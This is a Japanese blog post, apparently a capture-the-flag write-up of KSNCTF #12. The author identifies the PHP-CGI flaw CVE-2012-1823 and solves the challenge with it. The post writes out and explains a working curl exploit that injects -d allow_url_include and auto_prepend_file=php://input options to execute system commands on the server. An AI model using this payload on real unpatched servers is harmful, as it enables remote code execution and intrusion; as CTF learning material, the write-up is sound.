1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

KSNCTF #12 Hypertext Preprocessor

Last updated at Posted at 2025-07-20

Hypertext Preprocessor

いったんアクセスしてみると

スクリーンショット 2025-07-20 221951.png

なんか2012:1823の形がCVEに見える気がしましたが、いったんこの文字列を検索するとCVE-2012-1823が引っ掛かりました。
以下のサイトを参考にしました。

試してみる

https://ctfq.u1tramarine.blue/q12/index.php?-sでアクセスすると

スクリーンショット 2025-07-20 212705.png

当たりでした。このディレクトリにFlagがあるという事です。
ダメもとで、/Flag.txt/にアクセスしましたがダメでした。更に詳しく調べてみました。

任意のプログラムを実行させる

curl -X POST https://ctfq.u1tramarine.blue/q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -d '<?php system("ls -a") ?>'

-d+allow_url_include%3DOn-d+auto_prepend_file%3Dphp://inputに分解できる

-d+allow_url_include%3DOn

まず、-dはphp.ini の設定を一時的に上書きするPHPのオプションらしいです。
allow_url_include=Onは、PHPスクリプトをインクルードすることができます。

-d+auto_prepend_file%3Dphp://input

auto_prepend_file=php://inputはインクルードしたファイルの先頭で実行させる

-d <?php system("ls -a") ?>

これは実行したいプログラムです。

結果

スクリーンショット 2025-07-20 220546.png

実行すると、flag_flag_flag.txtがありました。/flag_flag_flag.txt/にアクセスするとFlagゲットです!

まとめ

CVEっぽいと気づけてうれしかったです。
結構悪用された脆弱性みたいで、知る機会ができて良かった。

明日も一日頑張ろう!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?